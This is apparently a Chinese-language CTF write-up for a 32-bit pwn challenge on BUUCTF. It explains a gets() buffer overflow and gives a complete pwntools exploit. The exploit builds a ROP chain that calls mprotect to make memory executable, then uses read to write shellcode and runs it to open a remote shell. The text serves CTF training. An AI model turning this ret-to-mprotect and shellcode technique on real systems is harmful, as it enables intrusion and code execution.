拿到题目,首先checksec一下

32位程序,无canary。
放入idea看一下
main函数:

主函数中的gets显然存在漏洞。
要解这题需要知道mprotect函数。这个函数就是用来修改内存权限的函数。
有3个参数,第一个参数就是需修改权限的起始地址,第二个参数是修改内存长度,第三个参数是权限,比如说0x7 = 111(二进制)就是可读可写可执行。
因此我们的思路大概就是先利用溢出漏洞,将返回地址改成mprotect函数的地址,接着改变某一内存区域的权限,想办法向这一内存区域中写入shellcode,然后执行即可。
写入函数,通过idea可以发现有read函数。
思路大概就是这样。
我们为了保持控制流,可以利用寄存器传参。
可以利用ropgadget来进行搜索相应寄存器
我这里只查到了4个寄存器,不过所需参数只需要3个,剩下的那一个我们可以传p32(0)
附上exp:
from pwn import *
p = remote('node4.buuoj.cn',28008)
#p = process('./c3')
elf = ELF('./c3')
pop_ret = 0x0809e0fa #本来32位程序传参是不需要借用寄存器的,但是为了能够继续控制程序,需要用到ret指令,所以这里就借用指令片段了 这里有4个参数
start_addr = 0x80ea000 #修改权限的地址
len = 0x1000 # 4k的整数倍
root = 0x7 #0x7 = 111(二进制)表示可读可写可执行
mpro_addr = elf.symbols['mprotect'] #mprotect()函数可修改内存权限
read_addr = elf.symbols['read'] #利用read函数将shellcode写入修改权限的地址处
payload1 = b'a'*(0x38)
payload1 += p32(mpro_addr) + p32(pop_ret) + p32(start_addr) + p32(len) + p32(root) + p32(0)
payload1 += p32(read_addr) + p32(pop_ret) + p32(0) + p32(start_addr) + p32(0x50) + p32(0)
payload1 += p32(start_addr) #最后将返回地址写到修改权限地址处,便于直接将shellcode写入此处
p.sendline(payload1)
payload2 = asm(shellcraft.sh()) #shellcode
p.sendline(payload2)
p.interactive()

被折叠的 条评论
为什么被折叠?



